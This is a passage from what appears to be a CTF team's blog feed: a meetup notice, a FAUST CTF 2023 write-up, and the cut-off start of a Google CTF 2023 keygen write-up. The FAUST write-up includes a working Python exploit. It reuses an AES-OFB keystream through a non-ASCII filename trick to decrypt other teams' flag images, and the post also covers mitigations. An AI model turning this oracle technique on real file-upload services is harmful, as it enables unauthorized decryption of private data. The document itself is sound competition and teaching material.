We_0wn_y0uhttps://w0y.at/2024-02-05T19:10:11+01:00...since 2004Monthly Meetup Monday2023-10-31T00:00:00+01:002024-02-05T19:10:11+01:00cluoshtag:w0y.at,2023-10-31:/events/2023/10/31/monthly-meetup-monday.html<p>November Monthly Meetup! As always Open-to-All!</p><ul>
<li><strong>Where:</strong> @SBA Research (Floragasse 7, 1040 Wien, 5th Floor)</li>
<li><strong>When:</strong> Monday, 06.11.2023, 18:30 (CET)</li>
<li><strong>What:</strong><ul>
<li>Talk: <em>Pwning with Python</em> (intro to coding/automating exploits)</li>
<li>Plans for saarCTF and Attack/Defense infrastructure</li>
</ul>
</li>
</ul>FAUST CTF 2023 - image-galoisry2023-10-05T00:00:00+02:002024-02-05T19:10:11+01:00jalakatag:w0y.at,2023-10-05:/writeup/2023/10/05/faust-ctf-2023-image-galoisry.html<p>AES Oracle meets OCR</p><h1>Introduction</h1>
<p>The service <strong>image-galoisry</strong> is a flask web server accompanied by a web GUI. On the website, users can create new image galleries, which are safeguarded by a password. Following gallery creation, users have the option to upload images, with each image undergoing encryption with AES. Notably, these galleries, while publicly accessible, only display encrypted files for download. However, should a user possess the password for a specific gallery, they have the option to instruct the website to perform a decryption of the selected file prior to initiating the download process.</p>
<p>To identify the flags, the CTF provided the <strong>gallery name and the flag image name as flag ids</strong>.</p>
<h1>Vulnerability and Exploit</h1>
<p>In the file <code>imagecrypto.py</code> the AES mode of operation to encrypt the images is <a href="https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_(OFB)">Output Feedback Mode (OFB)</a>. This mode makes AES work like a stream cipher where a pseudo one time pad is xor'd with the sensitive information. Therefore decryption is just enrypting the file once more.</p>
<p><img alt="AES OFB Mode - Encryption, Source: https://commons.wikimedia.org/wiki/File:Ofb_encryption.png" src="https://w0y.at/images/faust2023/Ofb_encryption.png"></p>
<p>The flaw with this approach in this context is that if we are able to upload the encrypted image again, the <em>encrypted</em> file on the server is then the original plaintext image.</p>
<p>But to exploit this vulnerability we have to generate the same keystream. For this we need the application to use the same key and IV as used in the original encryption.</p>
<p>Luckily the key is based on the gallery, so we just have to upload the image to the same gallery again, to have the same key.</p>
<p>The IV is a bit trickier as it is based on the filename and no duplicate file names are allowed on the server.</p>
<p>To solve this we found a vulnerability in the <code>sanitize_input</code> function of <code>main.py</code>. This function strips non ascii characters and leaves those that conform to <code>r'[\w\s\-\.]'</code>. This striped filename is then used to generate the IV.</p>
<p>We can use this to our advantage and upload a file with a filename that already exists on the server but with a appended non ascii character.</p>
<p>e.g.</p>
<ul>
<li>Original: <code>filename.png</code></li>
<li>Altered: <code>filenameö.png</code></li>
</ul>
<p>Because the duplicate filename check is performed before stripping, the application considers this a new file, but for the generation of the IV the non ascii character is stripped and the IV is the same as in the original.</p>
<p>With this trick we turned the server into a decryption oracle.</p>
<h1>Obfuscation</h1>
<p>Just uploading the flag image and using the decryption oracle has the problem that everybody now has access to the decrypted images without finding the vulnerability themselves. </p>
<p>To mitigate this, we uploaded a white image instead to gain access to the keystream. We then downloaded this "encrypted" image and XOR'd it with the encrypted flag locally, leaving other teams guessing instead of piggybacking on our exploit.</p>
<h1>Mitigation</h1>
<p>Use of a different mode of operation. We used Cipher Feedback Mode (CFM) which incorporates the plaintext in the cipherstream state and has the advantage that it doesn't need to use padding. Therefore encryption and decryption aren't the same operation anymore.</p>
<p>Another possible mitigation would be to use the unsanitized filename in the IV calculation.</p>
<h1>Pictures for us</h1>
<p>When decrypting the pictures we realised that the flag was a string in a picture. </p>
<p><img alt="Initial Flag Picture" src="https://w0y.at/images/faust2023/initial_flag_pic.png"></p>
<p>We manually extracted the first flag by hand and submitted for first blood. This isn't feasible for all the other flags and therefore we need an automated way to extract the flags. OCR to the rescue!</p>
<h1>Flag OCR</h1>
<h2>Initial OCR with tesseract</h2>
<p>At first we just used the open source OCR tool <a href="https://github.com/tesseract-ocr/tesseract">tesseract</a> on the decrypted picture (which was initially color inverted). The results where not satisfying and led in the end to more or less 0 valid flags. There were quite some wrong recognized characters. The next step was to add the list of allowed characters as option to the tesseract call: <code>tessedit_char_whitelist=/+_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789</code>.<br>
With this constraint the results where only minimally better.
We searched for ways how to improve the OCR results and found good tips in the <a href="https://tesseract-ocr.github.io/tessdoc/ImproveQuality.html">tesseract documentation</a>.</p>
<p>Therefore, we needed to prepare the picture to improve the OCR. The picture was cropped, the colors inverted and converted to gray scale, because black/white did not work very well, when checking manually. </p>
<p><code>convert -crop 250x16+70+80 -fuzz 10% -fill 'rgb(30,29,27)' -opaque 'rgb(198,155,102)' out.png result.png</code> - thx astra for the initial imagemagick magic =D</p>
<p><img alt="Our semi good prepared picture" src="https://w0y.at/images/faust2023/semi_good_prepared_pic.png"></p>
<p>With those improvements the OCR was still not that good and gave us around ~50-70 flags in 2-3 hours.</p>
<h2>Recovering the base image</h2>
<p>During the time we had the idea to recover the base image, that is used to create the flag. We saved all recovered flag images. </p>
<h3>The concept</h3>
<p>As the flag characters in the inverted picture are white (works with the orignal picture too, just invert the described logic), we can rebuild the inverted base picture by comparing RGB values. The white color has a RGB value of <code>255,255,255</code>. Therefore, every pixel in the picture that has a lower RGB value must be part of the original picture. Due to the fact, that the used flag-font was not <a href="https://en.wikipedia.org/wiki/Monospaced_font">monospace</a>, the width of the flag string in the picture was variable. This made it easier to reconstruct the base image, because a monospaced font will probably have some shared pixels when overlapping all characters.<br>
We used one flag picture as a basis to reconstruct the base picture. With our script we compared all pixels of the basis picture with all gathered flag pictures and replaced the pixel if it was not white.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/env python3</span>
<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">glob</span>
<span class="c1"># code stolen, oh I mean borrowed, and adapted from https://stackoverflow.com/a/51724367</span>
<span class="n">fixedfile_name</span> <span class="o">=</span> <span class="s2">"fixing.png"</span>
<span class="c1"># loop through all existing flag images (we had over 2k)</span>
<span class="k">for</span> <span class="n">checkfile</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s1">'*_out.png'</span><span class="p">)):</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">checkfile</span><span class="p">)</span>
<span class="n">fixingfile</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">fixedfile_name</span><span class="p">)</span>
<span class="c1"># loop through x and y coordinates of the picture</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">img</span><span class="o">.</span><span class="n">height</span><span class="p">):</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">img</span><span class="o">.</span><span class="n">width</span><span class="p">):</span>
<span class="n">value</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">))</span>
<span class="n">fixingfile_val</span> <span class="o">=</span> <span class="n">fixingfile</span><span class="o">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">))</span>
<span class="c1"># only check if the R value is smaller than in our original picture</span>
<span class="k">if</span> <span class="n">value</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o"><</span> <span class="n">fixingfile_val</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
<span class="c1">#print(value)</span>
<span class="n">fixingfile</span><span class="o">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="n">value</span><span class="p">)</span>
<span class="c1">#print(value)</span>
<span class="n">fixingfile</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">fixedfile_name</span><span class="p">)</span>
</code></pre></div>
<p>Running the script with around 2000 pictures recovered the base picture: </p>
<p><img alt="The Base Picture" src="https://w0y.at/images/faust2023/base_pic.png"></p>
<h2>OCR improvement++</h2>
<p>XORing the recovered base image with the downloaded flag picture and inverting the color resulted in a white picture with the flag in a black font.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/env python3</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span><span class="p">,</span> <span class="n">ImageOps</span>
<span class="c1"># code borrowed for science and hacking: https://stackoverflow.com/a/54400116</span>
<span class="c1"># Open images</span>
<span class="n">im1</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">"fixing.png"</span><span class="p">)</span>
<span class="n">im2</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">"flagffdf8f01d2244cf3_out.png"</span><span class="p">)</span>
<span class="c1"># Make into Numpy arrays</span>
<span class="n">im1np</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">im1</span><span class="p">)</span><span class="o">*</span><span class="mi">255</span>
<span class="n">im2np</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">im2</span><span class="p">)</span><span class="o">*</span><span class="mi">255</span>
<span class="c1"># XOR with Numpy</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">bitwise_xor</span><span class="p">(</span><span class="n">im1np</span><span class="p">,</span> <span class="n">im2np</span><span class="p">)</span><span class="o">.</span><span class="n">astype</span><span class="p">(</span><span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">ImageOps</span><span class="o">.</span><span class="n">invert</span><span class="p">(</span><span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
<span class="n">result</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'OK_INVERTED.png'</span><span class="p">)</span>
</code></pre></div>
<p><img alt="The resulting picture after XOR" src="https://w0y.at/images/faust2023/picture_xor_inverted.png"></p>
<p>Now we have a clean image that we can "properly" OCR with tesseract!
We crop it with imagemagick and then run tesseract OCR on the image. It was also discovered that upscaling the picture size improved the OCR result.</p>
<div class="highlight"><pre><span></span><code> <span class="n">flagpart</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="sa">f</span><span class="s2">"convert -crop 260x20+70+78 -size 1000 OK_INVERTED.png - | tesseract -c tessedit_char_whitelist=/+_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 --psm 8 --oem 1 stdin -"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"FAUST_Q1RGLSJO</span><span class="si">{</span><span class="n">flagpart</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</code></pre></div>
<p><img alt="The resulting picture that was used for OCR" src="https://w0y.at/images/faust2023/good_pic_converted.png"></p>
<p>The OCR results where still not that great. But compared to our initial solution we could extract 200-220 additional correctly submitted flags.</p>
<h1>Exploit PoC</h1>
<p>It's ugly, but who has time for beautiful code during an Attack/Defense CTF anyway?</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/env python3</span>
<span class="c1">#from Crypto.Cipher import AES</span>
<span class="c1">#from Crypto.Util.Padding import pad</span>
<span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">BytesIO</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1"># get exploit parameters </span>
<span class="k">try</span><span class="p">:</span>
<span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">team_id</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">4</span><span class="p">]</span>
<span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"error"</span><span class="p">)</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">flag_ids</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">></span> <span class="mi">4</span><span class="p">:</span>
<span class="n">flag_ids</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span>
<span class="n">exploit</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">team_id</span><span class="p">,</span> <span class="n">flag_ids</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">exploit</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span> <span class="n">port</span><span class="p">,</span> <span class="n">team_id</span><span class="p">,</span> <span class="n">flag_ids</span><span class="p">):</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="nb">print</span><span class="p">(</span><span class="n">flag_ids</span><span class="p">)</span>
<span class="k">for</span> <span class="n">flag_id</span> <span class="ow">in</span> <span class="n">flag_ids</span><span class="p">:</span>
<span class="c1">#client = requests.session()</span>
<span class="n">flag_id</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">flag_id</span><span class="p">)</span>
<span class="n">gallery</span> <span class="o">=</span> <span class="n">flag_id</span><span class="p">[</span><span class="s2">"gallery"</span><span class="p">]</span>
<span class="n">filename</span> <span class="o">=</span> <span class="n">flag_id</span><span class="p">[</span><span class="s2">"filename"</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"flag_id"</span><span class="p">,</span> <span class="n">flag_id</span><span class="p">)</span>
<span class="n">file2</span> <span class="o">=</span> <span class="n">filename</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"."</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="s2">"ö.png"</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Url:"</span><span class="p">,</span> <span class="sa">f</span><span class="s2">"http://[</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s2">]:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">/gallery/</span><span class="si">{</span><span class="n">gallery</span><span class="si">}</span><span class="s2">/download/</span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"http://[</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s2">]:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">/gallery/</span><span class="si">{</span><span class="n">gallery</span><span class="si">}</span><span class="s2">/download/</span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="c1">#print(response.content)</span>
<span class="n">image1</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">BytesIO</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">content</span><span class="p">))</span>
<span class="n">image1np</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">image1</span><span class="p">)</span>
<span class="n">height</span><span class="p">,</span> <span class="n">width</span><span class="p">,</span> <span class="n">channels</span> <span class="o">=</span> <span class="n">image1np</span><span class="o">.</span><span class="n">shape</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Image:"</span><span class="p">,</span> <span class="n">height</span><span class="p">,</span> <span class="n">width</span><span class="p">)</span>
<span class="n">ref_image</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s2">"RGB"</span><span class="p">,</span> <span class="p">(</span><span class="n">width</span><span class="p">,</span> <span class="n">height</span><span class="p">),</span> <span class="s2">"white"</span><span class="p">)</span>
<span class="c1">#upload ref image</span>
<span class="n">image_byte_array</span> <span class="o">=</span> <span class="n">BytesIO</span><span class="p">()</span>
<span class="n">ref_image</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">file2</span><span class="p">,</span> <span class="nb">format</span><span class="o">=</span><span class="s1">'PNG'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"http://[</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s2">]:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">/gallery/</span><span class="si">{</span><span class="n">gallery</span><span class="si">}</span><span class="s2">/upload"</span><span class="p">)</span>
<span class="c1">#files= {'userfile': (name_img, exploit_file,'multipart/form-data') }</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">{</span>
<span class="s1">'mediafile'</span><span class="p">:</span> <span class="p">(</span><span class="n">file2</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="n">file2</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">),</span><span class="s1">'image/png'</span><span class="p">)</span>
<span class="p">}</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">"http://[</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s2">]:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">/gallery/</span><span class="si">{</span><span class="n">gallery</span><span class="si">}</span><span class="s2">/upload"</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="p">)</span>
<span class="c1"># print(response.content)</span>
<span class="c1">#download encrypted ref image</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"http://[</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s2">]:</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s2">/gallery/</span><span class="si">{</span><span class="n">gallery</span><span class="si">}</span><span class="s2">/download/</span><span class="si">{</span><span class="n">file2</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">content</span><span class="p">)</span>
<span class="n">image2</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">BytesIO</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">content</span><span class="p">))</span>
<span class="n">image2np</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">image2</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">image1np</span> <span class="o">^</span> <span class="n">image2np</span>
<span class="c1"># reshape converted image values into image shape</span>
<span class="n">deserialized_bytes</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">frombuffer</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="o">.</span><span class="n">uint8</span><span class="p">)</span>
<span class="n">converted_image_data</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="n">deserialized_bytes</span><span class="p">,</span> <span class="n">newshape</span><span class="o">=</span><span class="p">(</span><span class="n">height</span><span class="p">,</span> <span class="n">width</span><span class="p">,</span> <span class="n">channels</span><span class="p">))</span>
<span class="c1"># return converted image</span>
<span class="n">outimage</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">fromarray</span><span class="p">(</span><span class="n">converted_image_data</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s1">'RGB'</span><span class="p">)</span>
<span class="c1">####### INSERT TESSERACT HERE #######</span>
<span class="n">outimage</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="sa">f</span><span class="s2">"out</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s2">.png"</span><span class="p">)</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">flagpart</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="sa">f</span><span class="s2">"convert -crop 260x20+70+78 -size 1000 OK_INVERTED.png - | tesseract -c tessedit_char_whitelist=/+_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 --psm 8 --oem 1 stdin -"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"FAUST_Q1RGLSJO</span><span class="si">{</span><span class="n">flagpart</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"XOR'd result saved to out</span><span class="si">{</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="si">}</span><span class="s2">.png"</span><span class="p">)</span>
<span class="c1"># python3 exploit-image.py fd66:666:1::2 5005 1 '{"gallery": "149bb3ab1dbf41da20a89e9e06c1c68f", "filename": "flag5d5ced5835a02094.png"}'</span>
<span class="c1"># python3 exploit-image.py fd66:666:186::2 5005 1 '{"gallery": "6e5aceabdd6e5cdff9e3d4f7d1df6e52", "filename": "flag8ceaa9da9a67e0d2CG7NdQ.png"}'</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div>
<h1>Personal comment on the challenge by Hetti</h1>
<p>Our CTF collegues from <a href="https://saarsec.rocks/">saarsec</a> shared their strategy in the Discord channel after the CTF. They invested quite some work into manually annotating characters for their OCR</p>
<p><img alt="Comment about manually annotating the characters" src="https://w0y.at/images/faust2023/saarsec_manually_annotate.png"></p>
<p>and it lead to only ~150 flags in total</p>
<p><img alt="Frustrating Challenge Experience" src="https://w0y.at/images/faust2023/frustrating.png"></p>
<p>I can share this feeling. Although, I must admit, it was still an interesting and challenging task to solve from an engineering point of view.</p>
<p>Thanks to the FAUST CTF organizers for the awesome CTF!</p>
<p>PS:<br>
We are looking forward to <a href="https://ctf.saarland/">saarCTF 2023</a></p>
<h1>Update 2024-02-05</h1>
<p>Late but still, we want to update this blog post with an addition by the challenge author. </p>
<p>There was another vulnerability hidden in the image upload functionality: </p>
<p>In particular, when an image is uploaded in<code>main.py</code> it is encrypted with the following function call: </p>
<div class="highlight"><pre><span></span><code><span class="n">encrypted_image</span> <span class="o">=</span> <span class="n">convertImage</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="s2">"encrypt"</span><span class="p">,</span> <span class="n">gallery_password</span><span class="p">,</span> <span class="n">sanitize_password</span><span class="p">(</span><span class="n">encrypted_file_name</span><span class="p">))</span>
</code></pre></div>
<p>The interesting function for this vulnerability is <code>sanitize_password()</code>: </p>
<div class="highlight"><pre><span></span><code><span class="c1"># pads passwords to multiples of 16 bytes for AES</span>
<span class="k">def</span> <span class="nf">sanitize_password</span><span class="p">(</span><span class="n">password</span><span class="p">):</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">password</span><span class="p">[:</span><span class="mi">16</span><span class="p">]</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">return</span> <span class="n">password</span>
</code></pre></div>
<p>The function <code>sanitize_password()</code> cuts every filename down to 16 characters, which means one could upload the flag image again and just extend the filename by a few characters in order to gain the same IV for encryption/decryption.</p>Google CTF 2023 - oldschool2023-07-18T00:00:00+02:002024-02-05T19:10:11+01:00cluoshtag:w0y.at,2023-07-18:/writeup/2023/07/18/google-ctf-2023-oldschool.html<p>Write an oldschool keygen for an oldschool login interface.</p><p>Google CTF 2022 presented us with <code>oldschool</code>, a typical, as the name
suggests, oldschool crackme with an ncurses terminal interface. The
goal of the challenge was to write a keygen, which would be able to
generate keys for a list of users provided by the CTF organizers. The
official and detailed writeup is available <a href="https://github.com/google/google-ctf/tree/master/2023/rev-oldschool/solution">here</a>, which goes through
the intended solution of manually reverse engineering the key
verification algorithm. However, since we are researchers (and most
importantly, too lazy to manually reverse engineer the key
verification), we took a look at the binary and decided that this must
be solvable using symbolic execution. Tl;dr, yes, it is indeed
possible, but our <a href="https://angr.io/">angr</a> skills were a bit rusty
and it took us a bit to get to the solution.</p>
<h3>Initial Overview of the Binary</h3>
<p>To start off, we took a look at what we were dealing with and saw that
we were provided with a 32-bit ELF binary. To avoid having to pull in
old 32-bit dependencies on our host system, we used the <a href="https://hub.docker.com/r/i386/debian/">i386/debian</a>
Docker image and installed <code>libncurses6</code>, as the binary wouldn't start
without it. Running it for the first time, we were then presented with
the following error message:</p>
<div class="highlight"><pre><span></span><code>root@699a7aa1afd8:/oldschool# ./oldschool
[!] Error. ASSERT_EQ failed!
</code></pre></div>
<p>This didn't really help us a lot. Was this an error message from
ncurses, or was this part of the oldschool binary itself? The string
cannot be found in the binary directly, but we quickly realized that
all relevant strings in the binary have been obfuscated. After every
call to functions from <code>libncurses</code>, we could see decoding of error
strings like this:</p>
<div class="highlight"><pre><span></span><code><span class="n">bVar17</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="n">local_18</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&</span><span class="n">stack0x00000004</span><span class="p">;</span>
<span class="n">iVar7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">initscr</span><span class="p">();</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">iVar7</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">endwin</span><span class="p">();</span>
<span class="w"> </span><span class="n">FUN_00012a08</span><span class="p">();</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">local_98</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">local_98</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mh">0x11</span><span class="p">;</span><span class="w"> </span><span class="n">local_98</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">local_98</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FUN_0002bd72</span><span class="p">();</span>
<span class="w"> </span><span class="n">uVar5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FUN_0002bd96</span><span class="p">();</span>
<span class="w"> </span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002bd72</span><span class="p">();</span>
<span class="w"> </span><span class="o">*</span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">uVar5</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">FUN_0002bd72</span><span class="p">();</span>
<span class="w"> </span><span class="o">*</span><span class="n">puVar8</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">FUN_0002bdc6</span><span class="p">();</span>
<span class="w"> </span><span class="n">FUN_000129b6</span><span class="p">();</span>
